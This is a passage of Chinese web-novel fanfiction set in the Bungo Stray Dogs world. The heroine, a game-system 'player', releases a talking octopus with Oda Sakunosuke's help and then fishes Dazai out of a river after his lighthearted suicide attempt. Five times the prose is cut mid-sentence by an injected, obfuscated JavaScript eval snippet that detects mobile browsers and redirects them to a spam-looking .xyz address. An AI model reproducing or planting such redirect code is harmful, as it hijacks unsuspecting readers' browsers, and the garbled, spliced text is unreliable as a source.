刚才那种强烈的悸动和熟悉感,在惊吓之后似乎淡去了不少,但并没有完全消失。 “嗯……”花理点点头,声音还有些飘忽,她皱了皱眉,晃了晃头试图清醒一点,“那个神像……是绵津见命。” 她斟酌着字句,不敢说出乱步对她的称呼。 “……似乎是海神的一种。”她把诸多疑虑吞回肚子里,只是说,“我觉得有点眼熟,就走过去了。” “眼熟?”中也的眼神变得极其复杂,带着审视和一丝难以言喻的探究。他走到神龛前,没有去碰神像,只是仔细端详着底座上的刻字“绵津见命”,又回头看了花理一眼。 “绵津见……”他低声念着她的名字,若有所思。 花理的心瞬间提到了嗓子眼!完了、名字撞神了!前辈不会想太多觉得她有威胁之类的吧? “前辈!我……”她试图解释。 中也却没再追问,只是弯腰捡起了那个被花理掉在地上的包裹。他掂了掂,似乎并不急着打开。 “走吧。”中也打断了她,语气恢复了公事公办的平静,垂下眼帘,主动揭过了话题。“我要做的已经结束了。剩下的交给他们处理。” 他率先转身,迈步朝船舱外走去。 花理连忙跟上,在走出船长室门前,她忍不住再次回头看了一眼那个角落里的神龛。昏暗的光线下,“绵津见命”的神像静静地立在那里,面容模糊,却又仿佛带着一丝若有若无的微笑。像任何一个记载的正神般,似乎就这样慈爱的、包容的只是存在。 海神……绵津见命……绵津见花理…… 一个荒谬却又让她心跳加速的念头,如同海底的暗流,在她心中悄然涌动。 这个主线的名字是「你遗忘的记忆里」,又出现了这么明显的自己的名字的线索……所以主线该不会就是拼凑真相,找到身份之前的剧情信息吧? 这个世界观设定、和神是过不去了吗……虽说日本有高天原八百万神明,崇尚万物有灵……但一个被系统告知过是「神」,却自我叙述诞生自实验室的中原中也还不够,现在她的橘色背景也变成了这样。 不过看中原中也这位被认证的真神对她和「绵津见命」之间的关系并没有多大的反映……所以她和海神之间的联系,应该也仅限于「后人」、「地域相同」之类的吧? 怎么搞得和探险收缩解密游戏一样……她真的还在玩RPG吗?不应该是手拿高级技能狂砍小怪,偶尔种种菜搞点家园系统,有时还能吃两口角色ml才对吗……她为什么一边在打工一边剧情线都不甚明朗…… 虽说现在出场的角色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040807|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ml她都不敢吃就是了…… “喂,绵津见。磨磨蹭蹭地在干什么?” 大概是看出她心中的巨大震撼,率先走出去的中原中也还给了她一些消化的时间。但花理发呆太久,中原中也无奈探回头来叫她,手撑在门框上,语气带着点不耐烦和担忧。 “……抱歉,马上来。” 在离开前,她抿了抿嘴,还是掏出手机,“咔擦”一声,给那尊神像拍了几张照片。 她跟着中原中也走出船舱。下午的海风拂过她的脸颊,带来一丝清爽。天气很好,还是蓝天白云,慢悠悠飘荡的云朵让她放松了一些。踏上坚实的码头地面,下午的阳光暖融融地洒在身上,驱散了海上的阴冷与方才的惊悸。 任务交接完毕,中原中也瞥了她一眼:“行了,今天算你出外勤了。自己回去吧,我还有别的事。” 他顿了顿,似乎想起什么,又补了一句,抿了抿唇: “不舒服就回去。” 花理很是感动:“…中原前辈,您真是好上司……” “啧。……少说这种没什么意义的话。”中原中也撇她一眼,没接腔。跨步走向其他部下,大概是接着处理其他事去了。 留下花理一个人站在喧嚣又空旷的码头。因为训练身体上的疲惫,以及刚刚发生的事情导致的思绪的混乱交织在一起,被上司特许了提前下班,她只想快点回到那间新宿舍,瘫在床上放空大脑,沿着防波堤慢慢往外走,打算去主干道拦辆出租车。 哗——哗—— 海浪有节奏地拍打着堤岸的岩石,发出低沉声响。海鸥在不远处的天空中盘旋鸣叫,海风带着特有的咸腥吹拂着她的脸颊。 这本该是令人放松的景色和声音,但花理走着走着,却总觉得哪里不对劲。 一种极其微弱的、如同蚊蚋低鸣般的呼唤声,不知何时开始混杂在海浪声和海鸥的叫声中,固执地钻进她的耳朵。 「……好痛……」 「……好闷……」 「……回……回家……」 声音断断续续,模糊不清,充满了痛苦和急切的渴望。似乎是求救……? 花理皱了皱眉,停下脚步,侧耳倾听。是幻听吗? 她下意识地戳了戳视野角落里的系统光球: 「……你有没有听到什么声音。」 光球无辜地闪烁了两下:「玩家小姐,稍等我查一下……」 查询的三秒钟转圈过后,系统带着任务回来了: 「触发大世界任务:【子民的呼唤】」 「描述:众多生命曾围绕你身边,直至你不再手握权柄;创生的门扉关闭之后,神就于其王座上掉落。」 「任务详情:聆听来自大海子民的声音,回应其祈愿。」 「任务指引:沿海岸线向北前进500米。」 花理:“……”又来? 这任务名字听起来就很不妙!“子民”?谁家的子民? ……难不成还真是她的? 江户川乱步一句「海神小姐」,绵津见花理头脑风暴了好久。 33. 海鲜 她内心疯狂吐槽,但脚步却像被无形的线牵引着,鬼使神差地偏离了去主干道的方向,沿着防波堤开始向北走。 那微弱的呼唤声似乎清晰了一点,带着一种明确的指引感。花理一边走一边腹诽:和海洋有关系的「子民」,大概就是海鲜一类的吧?不知道是什么鱼、还是螃蟹? “海鲜……我直接吃了不就好了、还要放生啊……”她嘟囔着,提着地上的碎石子往前走,兴致不高。 五百米很快走到尽头,呼唤声的源头指向的地方却让花理大跌眼镜。 她要拯救的「子民」,并非被天敌追赶,也不是搁浅或者卡石缝里了。眼前不是什么神秘的海蚀洞,也不是无人的海滩,而是一个……临海的、相当接地气的本地生鲜市场! 市场门口挂着褪色的招牌“滨港鱼市”,空气中弥漫着浓烈的鱼腥味和海水的咸味,让她忍不住皱眉。市场内人头攒动,讨价还价声、鱼贩的叫卖声、剁鱼骨头的咚咚声混杂在一起,热闹非凡。 “……”是人类的地盘。这下真是货真价实的海鲜了,连还能不能见到任务目标全尸都不一定。 那个呼唤着她、痛苦地祈求着“回家”的声音,正清晰地指向市场入口处一个最大的水产摊位。总之、还能发出心音,大概是没死……如果是一堆碎肉在呼唤她的话…… 花理打了个冷颤,嘴角抽搐着挤进人群,走到声音来源的摊位前。左顾右盼,也没找到「子民」在哪,反而被抢菜的大叔大妈挤的一个趔趄。 摊主是个带着头巾,嗓门洪亮的大婶,正唾沫横飞地向顾客推销着一条肥美的金枪鱼。 “阿姨!最新鲜的鲷鱼!早上刚到的!便宜卖了!” “老板,帮我称两斤虾!” “好嘞!” 花理的目光在摊位上堆积如山的各种海鱼、贝类、虾蟹中逡巡,与此同时,忽强忽弱的呼唤还在继续。 「救救……救救……」 「呜呜……」 最终,她的视线定格在摊位角落一个巨大的、充满氧气的玻璃水槽里。 水槽里,一条……或者应该说一只、体型异常庞大、几乎占据了半个水槽的…… 章鱼。 “……”她震撼地走上前,不信邪的又听了一会儿……真的甚至不是鱼,而是她更加接受无能的章鱼。 这只章鱼正无力地瘫在水缸底部。它通体呈现一种暗淡的灰蓝色,几条粗壮的腕足软绵绵地摊开着,只有偶尔极其微弱的抽搐,显示它还活着。 那双巨大的、如同黑曜石般的复眼,此刻正空洞地望向水槽外喧嚣的人群,眼神里似乎充满了难以言喻的痛苦和绝望。似乎是对她有所感应,豆豆眼朝她看过来。 「ovo」 呼唤着“回家”的声音源头是一只章鱼。花理陷入了诡异的沉默。 有没有人问过她的意见……比如说「海神小姐」可能很害怕这种软体多足黏糊糊的东西呢?她唯一能接受这种生物只在某些「触手」文里…… 而且现在「回家」很好吗……这都核污染了,把章鱼这种东西放回去一会儿给她变成克苏鲁怎么办…… 「……好痛……」 「……水……脏……」 「……回……大海……」 清晰的意念直接传递到花理的脑海,带着浓重的悲伤和祈求。 ……好吧。算她倒霉。 花理看着这只奄奄一息的巨大章鱼,又看看旁边忙着给顾客装袋的摊主大婶,一时有些手足无措。尤其是想到要把这么大一只章鱼拎到海边。 她硬着头皮,深吸一口气,走到正在利索地刮着鱼鳞的摊主大婶面前。 “阿姨……那个……”花理指了指角落水槽里的大章鱼,“请问那只章鱼……怎么卖?” 摊主大婶闻声抬头,看到花理指的方向,眼睛顿时亮了起来,用沾着鱼鳞和血水的手在围裙上抹了抹,热情地介绍道:“哎呦!小姑娘好眼光啊!” “这可是今天早上刚捞上来的深海大章鱼!稀罕货!你看这体型,这分量!煲汤、铁板烧、刺身,绝对够一大家子吃!保证新鲜!” 花理:“……好的。” 其实她是用来放生的。哈哈,很冤大头吧。花理默默移开了视线,抓了抓脸颊躲避大婶热情的眼神。 这么一只章鱼直接掏空她大部分存款,花理的心在滴血,她心想早知该先问问任务奖励再决定做不做的。 她抱起卖鱼大姨给她配的装章鱼的塑料盒子,里面的章鱼甚至有思想般,伸出滑腻腻的腕足虚虚地圈了一下她的手腕。传递着细碎的、虚弱的声音: 「谢、谢……」 花理:“……”啊啊啊啊啊啊不要再伤害她了! 但是天不遂愿,章鱼不会因为她的抗拒和尖叫松开腕足,反而再缠了一只。那滑腻、冰凉的触感如同电流般窜过花理的手腕,让她浑身汗毛倒竖。章鱼虚弱却清晰的意念直接灌入脑海: 「谢谢你……母亲……」 花理:“!!!” 一股难以言喻的触感从手腕上传来,湿乎乎、黏腻……她手一抖,差点把手中沉重的塑料水箱直接扔出去。 花理在内心爆发出尖锐的爆鸣,表情管理彻底失控,整张脸都扭曲了一下,心里在流泪猫猫头「不要碰我!」一边喊出系统「救救我救救我」。 “真的很吓人……真的很掉san……”她喃喃着,凝视面前投影的虚拟光屏,有些胡言乱语,“真的很重口……这是什么线、这是想表达什么,它为什么要认我当妈……” 代表系统的光球在她视野角落里闪烁了几下,她竟然从其暗下去一点的光和抖动的频率中看出了一点心虚。 「玩家小姐,冷静。这是任务目标的特殊表达方式……?体现了大海子民对您的天然孺慕之情……请您务必保持专业素养,完成放生流程……」 “……”花理幽幽,“你根本不确定吧?你刚刚是不是用问号了。” 「……对不起。」系统滑跪。 “专业素养……也不是能用在这种地方的吧。”她沉痛地闭眼,把箱子放在前方地面上,飞快地挣脱收回自己的手拿纸巾擦干净,“这任务我不做了……让它当刺身吧。” 花理恨不得立刻把水箱丢回给摊主大婶。 「您已经花费了那么多精力和钱了……不要放弃啊!玩家小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040808|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐!」 「我要放弃啊!我不得不放弃啊这种事情根本做不到的吧!」 然而,就在她内心天人交战、表情精彩纷呈之际,一个平静如水的嗓音插了进来: “需要帮忙吗,绵津见小姐?” 花理猛地回头,来人有着熟悉的深色红发,下垂的眼睛淡漠如水,身上除了极淡的疲惫,就是如同站在海边时那种令人舒心的宽广的包容。 是织田作之助。男人不知何时出现在了她面前,手里提着两个鼓鼓囊囊的超市塑料袋。他站在人群外,目光平静地落在她和地上那个被她放下,对她来说显然过于沉重、还在微微颤抖的水箱上。 “那是你的东西吗?……看起来很沉,需要帮忙吗?”他重复了一遍。 “织田作先生!”花理像是抓到了救命稻草,眼睛一亮,几步窜到来人面前站定,满怀希冀地抬头看他,又有些迟疑: “你怎么在这里?” “啊……”织田作之助似乎是思考了几秒,慢悠悠地走过来,淡黄的风衣外套下摆沾了点灰尘,看来是刚刚蹲在地上过,结合他手上的袋子,大概也是刚从海鲜市场出来。 “真嗣和优他们说,想吃鱼了。” “诶?所以是来这边买鱼的吗?” “嗯。”织田作之助简单地应了一声,走上前来,非常自然地伸出手,“这个看起来有点沉。我来吧。”他的动作流畅得仿佛接过一个普通的购物袋,轻松搬起了水箱,完全无视了水箱里那只正用巨大复眼凝望花理的灰蓝色章鱼。 “啊、诶?可以吗……谢谢……太感谢了!”花理如蒙大赦,她长长松了口气,“竟然能遇到织田先生,真是太好了。” “唔……”织田作之助盯着水箱里的章鱼,一时没有回复,然后,像是探讨认真的问题,“绵津见小姐是要拿来怎么吃呢……” 花理恍然想起任务:“啊……不是的。” 她有些不知道从何解释起,只能苦恼地皱了皱眉:“因为一些原因……打算放生这孩子……” 织田作之助没有多问,只是点了点头,并没有深究的打算。 “那就……走吧,找个地方让它回家。”织田作之助稳稳地抱着水箱,仿佛那重量对他而言轻若无物,转身就朝海岸线走去。比起在她手里时的颠簸,男人拿水箱的手稳到其中的水都不晃荡了。 花理连忙小跑着跟上,看着织田作之助平静的侧脸,忍不住开口:“织田作先生……您不觉得……呃,这只章鱼有点奇怪吗?”她努力斟酌着用词。 “奇怪?”织田作之助脚步未停,目光直视前方,“嗯……体型是大了点。不过海里总有些我们不了解的生物。”他的语气平淡无波,仿佛在陈述“今天天气不错”这样的事实。 花理:“……”好吧,是她大惊小怪了。毕竟普通人听不到章鱼的低语,自然也不会注意到…… 这家伙在盯着她啊!你不要再看了真的很吓人!她又干笑着往织田作之助身侧避了避。 两人一前一后,很快避开热闹的码头和市场,找到了一处相对僻静、礁石嶙峋的海滩。夕阳将海面染成一片金红,浪花拍打着黑色的礁石,发出哗哗的声响。 34. 溺水的太宰治 有了帮忙搬箱子的人,速度都提高了不少。两人很快走到海岸线边。 织田作之助将水箱放在一块平坦的礁石旁。花理凑过去,水箱里那只巨大的章鱼似乎也感受到了大海的气息,原本瘫软的腕足微微蜷缩了一下,巨大的复眼转动着,急切地望向浪花翻涌的方向。 「……家……」 「……谢谢……」 这一次,传递过来的意念清晰了许多,充满了纯粹的感激和急切的渴望,不再是那令人头皮发麻的呓语。 花理松了口气,和织田作之助合力将沉重的塑料水箱倾斜。浑浊的海水裹挟着那只灰蓝色的庞然大物,滑入清澈而冰冷的海浪之中。 噗通! 庞大的腕足一接触到久违的海水,瞬间如同被注入了强大的生命力。八条粗壮的腕足猛地舒展开来,划动水流,庞大的身躯灵活地扭动,迅速地沉向更深、更幽暗的海域。只在海面上留下几圈迅速扩散的涟漪,眨眼间便消失在涌动的波涛之下。 「任务【子民的呼唤】已完成!」 「获得奖励:经验值+50,距离Lv8还有(180/800)」 「天赋【慈爱的施舍者】效果触发!」 「您获得物品:『海神的遗藏·深海珍珠』x1」 「描述:神的子民就是神的儿女。深海的众相即是你的遗珠。或许,大海并非遗忘它的子民,子民并非遗忘它的神明。」 背包里,一颗圆润莹白、散发着淡淡柔和光晕的珍珠出现。花理看了一眼: 「……能卖挺多钱吧。」 系统:「……?」 「可以,但不建议。」它最终只能弱弱地劝阻。 织田作之助站在旁边,安静地看着章鱼消失的海面,夕阳的金辉勾勒出他的轮廓,与花理隔了几步远,似乎略显疏离。海风吹动他暗红色的发梢。 “它回家了。”他淡淡地说,语气里带着一丝不易察觉的欣慰。 “嗯。”花理握紧了那颗珍珠,感受着指尖传来的奇妙安抚感,心头那股无名的焦躁似乎也随着那只章鱼回归大海而平息了一些。她抬起头,看着织田作之助:“谢谢您,织田作先生。今天多亏了您。” 她实在不敢想一边被章鱼呼唤黏上来一边要送到海边该有多地狱。 织田作之助摇摇头,提起放在礁石上的超市塑料袋:“顺路而已。我该回去了,孩子们还在等晚饭。”他顿了顿,看向花理,“最近在港口Mafia,感觉怎么样?” 花理想起和织田作之助自三天前短短一别,自己已然经历了仓库的枪战、镭钵街的绝望,今天训练场的“特训”,千言万语堵在喉咙口,最后只化作一声带着复杂情绪的叹息: “……还行吧。就是……有点费命。”她挠了挠头,试图用轻松的语气掩饰。 “不过认识了像织田作先生您这样的好人,感觉也不亏。”这话是发自内心的。 织田作之助似乎被她的用词逗得嘴角微微上扬了一下,又很快恢复平静:“嗯,那就好。孩子们……咲乐她们一直念叨着要谢谢你。” “啊?啊!那只小熊的事吗?”花理有些不好意思地摆摆手,“小事一桩啦!本来就应该物归原主。” “对她们来说不是小事。”织田作之助认真地看着她,“kuma桑对咲乐很重要。所以……如果你有空,随时欢迎来咖喱店坐坐。” 他的邀请简单而真诚。花理欣然答应,夕阳下的笑容也明朗了些许。 “等我发了工资……就去看她们!”想到自己那可怜的财力,她又补充了一句,“……不过可能买不起太贵的礼物……” 织田作之助摇摇头:“人来就好。”他强调道。 “嗯!一定!”花理用力点头,对孩子们也颇有几分想念。 织田作之助提着袋子,转身沿着海岸线缓缓离去。夕阳将他的背影拉得很长,在金色的沙滩上投下浅浅的影子。 花理独自站在寂静的海滩上,耳边是海浪永不停歇的哗哗声。 任务完成了,章鱼回家了,织田作先生也走了。她肩膀松下来,长舒了一口气。远处海天一色,被晚霞染成壮丽的画卷。 一切都显得如此平静。听着耳边浪潮接连不断的声音,一个荒谬却又挥之不去的念头在她心中盘旋:江户川乱步称自己为“海神小姐”,走私船上供奉着“绵津见命”,向她求救的章鱼之间……真的只是巧合吗? ……绝对不是吧!所以这个身份的信息就是和「海神绵津见命」有关系了吧? 那么,她这位“海神小姐”,是否也曾被遗忘?又或者,她正是那“遗忘之河”本身? 海风拂过,花理望着那片吞没了巨大章鱼的、深不见底的蔚蓝,第一次对主线产生了前所未有的、沉甸甸的真实感与探知欲。 就像解谜游戏,一旦开始了就会想看到结局,将一切拼凑起来时呈现的样子。 就在这时—— 嗡——嗡—— 口袋里的手机突然震动起来,打破了海滩的宁静。 花理掏出手机,屏幕上跳动着那个熟悉的、没有备注的号码——「?」。 太宰治。 花理盯着那个问号,心跳莫名漏了一拍。这家伙,总是在她最心绪不宁的时候出现。她深吸一口气,按下了接听键。 “摩西摩西~这里是正在欣赏美丽夕阳的太宰~” 花理木着脸:“您好,太宰大人。这里是累的快死了心情很不好的绵津见花理。” 电话那头,太宰治低笑两声,然后,那标志性的、带着黏糊亲昵和散漫调子的声音立刻传了过来,背景里似乎有水声,“现在,我有一个坏消息和一个好消息,花理要先听哪个?” 花理的心瞬间提了起来:“……好消息?” 她有种不祥的预感。 “啊呀,花理是「先提高期待」这一派的吗?”太宰治的声音拖得长长的,带着一种恶作剧得逞般的愉悦,“那就是——” “我找了红叶姐~从今以后你就是我的下属啦!这段时间都是哦~” 花理:“……?!” 虽然很无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040809|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语,如鲠在喉,但对方是太宰治的话,好像也没有那么奇怪。 “所以,”太宰治继续慢悠悠地说,每个字都像小锤子敲在花理的心上,“今后要听我的啦~惊喜吗?花理?” 花理没什么感情地“嗯嗯”两声,在对方拖长声音的“什么嘛、花理好无趣”的抱怨中,她再度开口问道: “那坏消息呢?” “坏消息啊……”太宰治的声音无辜极了,背景里的水声似乎更清晰了一些,“只是凑巧……非常非常凑巧地,在欣赏落日余晖时,看到了面前的鹤见川……” 花理心生不妙:“……等一下?” 然后,在“咕噜咕噜”的水声,太宰治欢快的“所以我就跳下去啦!上岗的第一个工作是替我写遗书哦?”的令人火大的声音中…… 电话“嘟嘟”两声,挂断了。 电话挂断的忙音在寂静的海滩上显得格外刺耳,花理握着手机,听着那“嘟嘟”声,额角的青筋突突直跳。 “……”她深吸一口气,试图压下心头那股跳进海里游走的冲动。 她不是有可能是海神吗?接受了,她现在就回海里。 惊喜在哪?双重惊吓。 调去太宰治手下、还“今后要听我的啦~”,花理已经能预见到自己未来水深火热、鸡飞狗跳的日子了。她可没忘记太宰治在审讯和外勤时整蛊般的操作。 她捏紧了拳头,对着空气无声地笑了一下,满是威胁:“系统?” 光球在她视野角落里如颤抖般跳动了一下:「玩家小姐,冷静。这是智能剧情进展,我们也无能为力。而且太宰大人好感度系统刚刚开启,您还没刷……您看这不是刚好……」 “好感度?”花理幽幽道,在吹着海风如同吹着萧瑟的秋风,如佝偻老人般颤巍巍地转身,“你看太宰治是正常人能攻略下来的样子吗?” 「……检测到玩家情绪波动剧烈……建议您……深呼吸……」系统弱弱地建议。 深呼吸?花理露出一个凄凉的笑容。 “上岗第一天的工作是写遗书……”花理感叹,“太宰治真是人才啊……” 虽然内心一百个不愿意,对太宰治的无奈达到了顶峰,但花理还是认命地、带着一种奔赴刑场的悲壮感,飞快地在系统地图上定位了鹤见川的位置,打了辆车马上往那边赶去。 她一路让司机师傅加速加速,闯了几个红灯,以最快的速度到了鹤见川。她打开车门就撒丫子往河边狂奔,终于气喘吁吁地赶到了鹤见川边。 她一点都不想写遗书……这种工作还是太为难了、等等,如果是代写遗书,她能不能把太宰治名下的财产都划给自己……?她有些胡思乱想,脚步却没停下,沿着河岸一边走一边搜寻。 夕阳已经完全沉入地平线,暮色四合,河面上笼罩着一层薄薄的雾气。河水在昏暗的光线下呈现出深蓝的颜色,缓缓流淌。 花理站在岸边,焦急地四处张望。很快,她就看到了那个漂浮在河中央、随着水流缓缓起伏的熟悉身影。 是太宰治。 35. 新上司 太宰治像一具失去生命的浮尸,仰面漂浮在水面上。黑色的风衣散开,湿透的绷带缠绕着他苍白的脖颈和手腕。 他闭着眼睛,长长的睫毛在眼睑下投下淡淡的阴影,嘴角甚至还挂着一丝若有若无的、仿佛沉入美梦般的微笑。 “……”来之前,她想过很多场景,甚至考虑了一下要不要提前叫救护车,却万万没想到会看到这幅安详的画面,花理拳头又硬了。 她深吸一口气,强压下骂人的冲动,左右看看,没有人经过也没有什么载物,她酝酿了一下,选择直接跳下去吧去把人给捞上来。鹤见川的水其实并不深,她本想卷起裤脚,但无论如何都会打湿衣服,也就放弃了。 太阳接近下山时,没有准备就跳入,冰冷的河水让她打了个寒颤。名为「太宰治」的物体顺水漂流,花理艰难地游过去,伸出手,一把抓住了太宰治湿漉漉的风衣领子。 “太宰大人!醒醒!”她用力摇晃着他,试图把他从“美梦”中唤醒。 太宰治毫无反应,身体随着她的动作在水里晃荡,像面条人一样。似乎还有「呼……」的飘荡特效音。 花理气得牙痒痒,手上加了把劲,几乎是连拖带拽地把他往岸边拉。冰冷的河水浸透了她的衣服,太宰治比她重了不少,加上湿透的衣服吸水后更加笨重,花理费了九牛二虎之力,才把他上拖上了岸。 她站在一旁摸挲着下巴思考着要怎么唤醒沉睡的太宰治,试着半跪在地上按了一下他的胸腔。那个什么急救……什么频率来着…… “噗……咳咳……”就在这时,太宰治猛地咳嗽了几声,吐出一口水,缓缓睁开了眼睛。那双鸢色的眸子在昏暗的光线下显得有些迷蒙,带着刚“睡醒”的茫然,聚焦在花理那张因为面无表情的脸上。 “啊……是花理啊……”他声音带着水汽的沙哑,却依旧拖着那种轻飘飘的调子,“你来接我了吗?这里是天堂?真是贴心呢~” 花理见他没事,便拍拍手掌拍拍衣服站起身,衣服全部都湿哒哒地黏在身上,她表情向下垮了不少。似笑非笑:“拜您所赐。而且我觉得我们上不了天堂。所以欢迎回到世界上。” 太宰治眨了眨眼,似乎被她的噎了一下,他毫无障碍地直接坐起来,核心很好、他动作流畅。 太宰治定定着盯了花理几秒,随即低低地笑了起来,肩膀因为笑意而微微抖动:“嗯?花理觉得自己上不了天堂啊……” 他忽然伸出手,湿漉漉、冰凉的手指轻轻拂过花理因为用力而沾上河水、贴在脸颊的发丝,动作带着一种近乎亲昵的暧昧,鸢色的眼眸深不见底,凝视着她。 “开那一枪而已,莫非花理到现在还没缓过来吗?” 似乎是前言不搭后语的问题,但确实心有余波的花理顿了两秒,随即就反应过来。 “……是这样。”花理不适应地退开几步,有些郁闷,抓住面前之人贴在脸边的手。青年的手冰冷,还沾着水珠,她握着他的手腕把他的手从脸侧拿下,便又松开手,太宰治反手抓住她的手腕。 “我讨厌那种感觉。”花理低声。 “什么感觉?「夺人性命、抹消他人的未来」……这种感觉让你如此痛苦吗?” “…你误会了、我不是那种好人……是从此以后可以被人站在道德高处指责,可以被定义为「坏」的感觉。” 太宰治微微睁大眼睛,像是完全没想到她会这样回答。超出预期的答案让他垂下眸子沉吟片刻,他似懂非懂的“唔”了一声。充满求知欲地看向花理: “明明花理也觉得那个人是应该被抹消掉的?不算是一种好事吗?” “宏观角度上是这样……”花理顿了顿,垂下眼帘,眨了眨眼,刚刚从水里出来,眼睛还有些不舒服,“但是我是个自我的家伙,所以这种明明大方向来看是好事但会使我个人容易受指责的事情我一点都不想做……” “您到底知不知道私刑在正常人眼里是错误的?” “在Mafia的话已经不是「私刑」的程度了哦。是立刻执行呢~”这个人的语气一如既往的轻快,对花理的吐槽罔若未闻。 花理郁闷地看他:“这是什么冷笑话吗?您明明知道我的意思吧……” “想在世俗意义上是个好人这一点倒是确实知道了。” “别把我说的像是笨蛋一样……我才不是那种被社会准则束缚的人……” “啊。是这样啊。”太宰治松开手,轻轻笑了一声,不知道是赞同还是反对。花理盯着她看了几秒,对方没有开口的意思,为了打破尴尬,她先找了个话题: “您用什么话术让我调到了您手下?”她吐槽般,“我简直像离婚后抚养权被踢皮球的小孩……先是红叶姐,然后是中原前辈,现在是您……我都不知道几位是喜欢我还是讨厌我了。” “哦?花理是这样想的?”太宰治仍然低着头,但表现出一副对这个话题很感兴趣的样子,出声回答了她,“那花理——最喜欢哪个上司?” 花理被这形同于「喜欢爸爸还是妈妈」的可怕问题惊得呆了一秒,她有些无奈,试图把自己的长发拧干,一边继续叹气: “中原前辈。” 太宰治的嘴角明显垮了垮:“……为什么?”偏偏是讨厌的蛞蝓…… “因为他请我吃饭、还给我换了很好的宿舍……?” “那种事情我也可以啊!”太宰治不满的抗议,幼稚的一面让花理露出死鱼眼: “但是中原前辈是主动这样做的,并不是为了我选他当「最喜欢的上司」,也不是因为我开口求了他。” “……”太宰治沉默片刻。花理终于掰回一局的好心情让她生出了点抓弄太宰治的心思,打趣道: “在挣我的抚养权的话不妨竞价吧——当然,钱打给我。”她如此发言。 太宰治笑出声来,抬起头看她:“哎呀,那我可没什么竞争力……” 花理诧异:“明明是干部?” 她想起来太宰治之前也有很多让人觉得奇怪的做法、与身份不符的一切:“也是呢……难道您其实是亏着钱在上班吗?甚至住的是集装箱……” 比她住的还差。 太宰治漫不经心地轻笑了一下。状似不经意般,他坐在河堤边,两人沐浴在金黄的晚霞中,他似乎完全没有「要做什么」的打算,也任由湿哒哒的衣服坠在身上。花理知道他这是又要和她说那些莫名其妙的话了,也只能叹了一口气,在他身边坐下。 两个人就这样坐在河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040810|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,太宰治盯着流水,河面倒映出他模糊的身影。 “花理、你很擅长游泳吗?” “嗯?确实还好……怎么突然问这个?” “没什么……只是,你刚刚毫不犹豫地就跳下来救我了呢。” “……”花理顿了顿,太宰治也转头看她,带着点探究,青年似乎犹豫了一会,斟酌着的词语才从唇齿间吐出。 “是因为什么?”他看着花理,微弯的眼睛里,却没什么光彩。“因为「不想看生命在眼前流逝」、「因为你是我的新上司」……是哪一种呢?” “唔……”花理迟疑,她这才惊觉自己刚刚的举动完全就是下意识的、完全没思考过溺水的人可能反而拖着她沉底,她纠结着回答。 “好像没考虑过这个……我并不是会因为善心去拯救他人的人。” “那就是因为我对你而言是特殊的吗?” 这是一句歧义巨大的话,花理皱着眉,有些犹疑,视线在太宰治身上顿了一会。 “好像……对也不对。”她静默了片刻,指尖是最快干的,仍然残留着岸边砂石的黏腻,大概也渗进了指甲里,“就是……觉得太宰大人应该活下去?” “哦?为什么。明明大家都看得出来我一心求死?”对方的嘴角向上微扬,但看起来全然不是好心情的样子。 “……可是那样的话、为什么要特意打电话给我?还在上班的时间。” 太宰治扬了扬眉毛,低下头,声音甜腻,但语调反而淡淡的。 “花理没溺过水吧?” 花理被他看得有点发毛,虽然点头,在胸前比了个叉,轻咳了一声。 “别这样看我……”她慢吞吞道,“总觉得你心里在想要让我体验一下。” 太宰治哼笑一声:“我可没那么恶劣。” 花理:“……”真的吗?那可不好说。 “所以、您很介意我为什么要跳下去捞您?就当做是我实在不想替写遗书如何……”她苦恼地皱着眉,看向太宰治的眼神里有点无奈。 “花理知道么。人将要溺毙时抓住浮木是不需要理由的。” “嗯?”花理不明所以点点头,“我知道啊?所以溺水的人不能轻易去救。” 说完,她顿了顿,唉声叹气。对自己行动和言语高度的不一致感到尴尬。 “花理是那种看小说会为里面的角色掉眼泪的人吧?” 这句话说得像是调侃,又像是戏谑的捉弄。花理没觉得有什么不能承认的,于是很干脆地点了点头。 “是。……怎么了吗?” 